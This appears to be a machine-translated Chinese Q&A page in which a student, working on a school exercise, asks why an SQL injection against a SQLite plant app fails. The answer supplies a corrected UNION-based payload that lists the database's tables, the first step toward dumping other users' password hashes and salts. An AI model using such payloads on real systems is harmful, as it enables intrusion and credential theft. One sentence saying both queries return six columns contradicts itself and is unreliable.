为什么这个SQL注入攻击不起作用?

问题描述 投票:0回答:1

对于学校,我们必须获得所有其他使用者以及哈希和盐。为此,我需要知道存储所有这些信息的表名,我想通过sqlite_master获取它。这是查询部分:

var sql_query = 'SELECT id , name , color , planttype , potsize , shared FROM
plants WHERE user_id = ' + req . user . get ( 'id ') + ' AND name LIKE "% ' + **plant**
+ '%"; ';

输入行是工厂变量。我尝试过

%" OR username = 1 OR 1 = 1 UNION ALL SELECT name FROM sqlite_master WHERE type='table'; --

但是由于某些原因它不起作用。

sql sqlite sql-injection
1个回答
0
投票

问题是两个联合查询必须返回相同数量的列(具有相同的数据类型)。

在您的查询中不是这种情况,其中第一个查询返回6列,第二个查询仅返回6列。

我认为您可以使用以下输入:

%" OR 1 = 1 UNION ALL SELECT null, name, null, null, null, null FROM sqlite_master WHERE type='table'; --
© www.soinside.com 2019 - 2024. All rights reserved.